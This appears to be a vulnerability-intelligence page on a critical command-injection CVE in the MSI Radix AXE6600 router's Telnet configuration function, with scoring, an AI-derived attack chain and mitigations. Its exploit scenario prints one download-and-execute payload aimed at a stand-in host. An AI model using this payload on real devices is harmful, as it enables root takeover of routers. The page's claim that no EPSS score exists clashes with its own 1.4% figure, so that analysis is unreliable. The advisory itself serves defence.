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MSI Radix AXE6600 CVE-2026-71991

| EUVDEUVD-2026-54834 CRITICAL
OS Command Injection (CWE-78)
2026-08-09 disclosure@vulncheck.com GHSA-3mcf-6wx8-8w5c
9.3
CVSS 4.0 · Vendor: vulncheck
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach Telnet configuration interface
  2. Delivery
    Submit crafted value to TelnetSSH
  3. Exploit
    Inject shell metacharacters into OS command
  4. Execution
    Execute commands as root
  5. Impact
    Install backdoor / pivot into LAN

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to reach the router's Telnet configuration interface and submit input to the TelnetSSH function - the specific feature named in the advisory - so the Telnet configuration service must be reachable from the attacker's network position. The supplied CVSS 4.0 vector rates PR:N (unauthenticated) and AV:N (network), which would imply no special conditions beyond network reachability of a default configuration; however, because the flaw lives in a configuration interface, realistic exploitation is likely limited by whether Telnet is enabled, whether the management plane is exposed to the attacker (LAN vs. WAN), and whether administrative authentication is enforced. These limiting factors are not confirmed from the available data and should be verified against the VulnCheck advisory.

Impact

The vendor-supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) yields 9.3 and models an unauthenticated, low-complexity network attack with total impact - a top-priority profile if accurate. The signals partly conflict: the description states exploitation occurs 'through the Telnet configuration interface,' which on a router normally requires administrative access to the management plane, arguing for PR:L rather than PR:N; the PR:N rating may assume the interface is exposed without authentication or that the injection is reachable pre-auth, and this should be verified with VulnCheck/MSI. No EPSS score was provided, so exploitation probability cannot be quantified. There is no CISA KEV entry and no evidence of a public POC in the references, so this is not confirmed as actively exploited. Net: a genuinely high-severity, high-impact flaw whose real-world priority hinges on whether Telnet is enabled/exposed and whether exploitation is truly pre-authentication - both currently unconfirmed.

Exploit ScenarioDerived

An attacker who can reach the router's Telnet configuration interface submits a configuration value containing shell metacharacters (for example a payload like ; wget http://evil/x -O /tmp/x; sh /tmp/x) into the TelnetSSH handler, which passes it to a root-level system command. The injected commands run as root, letting the attacker install a persistent backdoor or pivot into the LAN. No public POC is currently identified, but the low attack complexity makes weaponization straightforward for anyone with interface access.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 1.4% exploitation probability (EPSS)

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AnalysisAIv1 – Aug 09, 2026

Command injection in the MSI Radix AXE6600 WiFi 6E gaming router (firmware v781521) lets attackers reach the TelnetSSH function that handles Telnet configuration and inject shell metacharacters, yielding arbitrary command execution as root. Reported to NVD via VulnCheck and tagged as Command Injection, the flaw grants full device takeover, but no public exploit or CISA KEV listing has been identified and no patched firmware version has been published. CVSS 4.0 is scored 9.3 and reflects network reach with total loss of confidentiality, integrity, and availability on the router.

RemediationAI

No vendor-released patch identified at time of analysis; MSI has published no fixed firmware version in the available references, so monitor the MSI support page (https://us.msi.com/Networking/RadiX-AXE6600-WiFi-6E-Tri-Band-Gaming-Router/support) for a build superseding v781521 and apply it once released. As compensating controls, disable the Telnet/Telnet-configuration service entirely if it is not required (this removes the vulnerable interface at the cost of losing Telnet management), and if it must remain enabled, restrict access to the management plane to trusted LAN hosts and block Telnet (TCP/23) and remote/WAN administration at the network edge - accepting that this does not stop an attacker already on the LAN. Change default administrative credentials and place the management interface on an isolated VLAN to limit who can reach the configuration interface. Review the VulnCheck advisory (https://www.vulncheck.com/advisories/msi-radix-axe6600-v781521-command-injection-via-telnetssh-function-used-for-telnet-configuration) for any updated fix guidance.

Affected VersionsENISA

Radix AXE6600 0 ≤v781521

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Technical ContextAI · show details

The affected component is the router's embedded management stack - specifically the TelnetSSH routine that configures the Telnet service on the MSI Radix AXE6600, a consumer Wi-Fi 6E tri-band gaming router running Linux-based firmware (v781521). The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): user-supplied input passed to the Telnet configuration handler is concatenated into a system-level shell call (system()/popen()-style execution or a shelled-out service restart) without neutralizing shell metacharacters such as ;, |, backtick, or $(). Because these SOHO router services typically run as root, injected commands execute in the highest-privilege context of the underlying embedded (BusyBox-class) Linux environment. No CPE strings were supplied in the intelligence feed, so the exact affected build is pinned only to the vendor-stated firmware string v781521.

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Severity by source

Vendor (vulncheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-reachable Telnet config interface with low complexity, but the injection sits in a configuration function normally requiring admin access, so PR:L; root command execution gives C/I/A High.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

MSI Radix AXE6600 router firmware version v781521 contains a command injection vulnerability in the TelnetSSH function used for Telnet configuration that allows remote attackers to execute arbitrary commands on the affected device. Attackers can exploit this vulnerability through the Telnet configuration interface to inject malicious commands and obtain root privileges on the underlying system.

Executive ViewAI

Why It Matters

The MSI Radix AXE6600 WiFi 6E gaming router (firmware v781521) contains a critical remote command injection vulnerability enabling attackers to achieve root-level device compromise and complete network gateway takeover. Organizations and users with affected routers face immediate risk of network interception, lateral movement into connected systems, and persistent unauthorized access.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to router management interfaces via firewall segmentation and VPN-only administration; (2) Disable remote management and telnet configuration services where operationally feasible; (3) Enable device logging and set alerts for telnet/SSH connection attempts and shell command execution; (4) Segregate affected router traffic from critical business networks using VLAN or network segmentation. Mitigations reduce attack surface but do not eliminate vulnerability-patch application remains mandatory upon vendor release.

Threat Intelligence Overview

EPSS Score
1.4%
Top 31% exploitable
Prevalence
Low
single consumer gaming router model, limited non-enterprise deployment footprint
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 1.4%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Related Vulnerabilities in MSI Radix AXE6600 Command Injection Flaws

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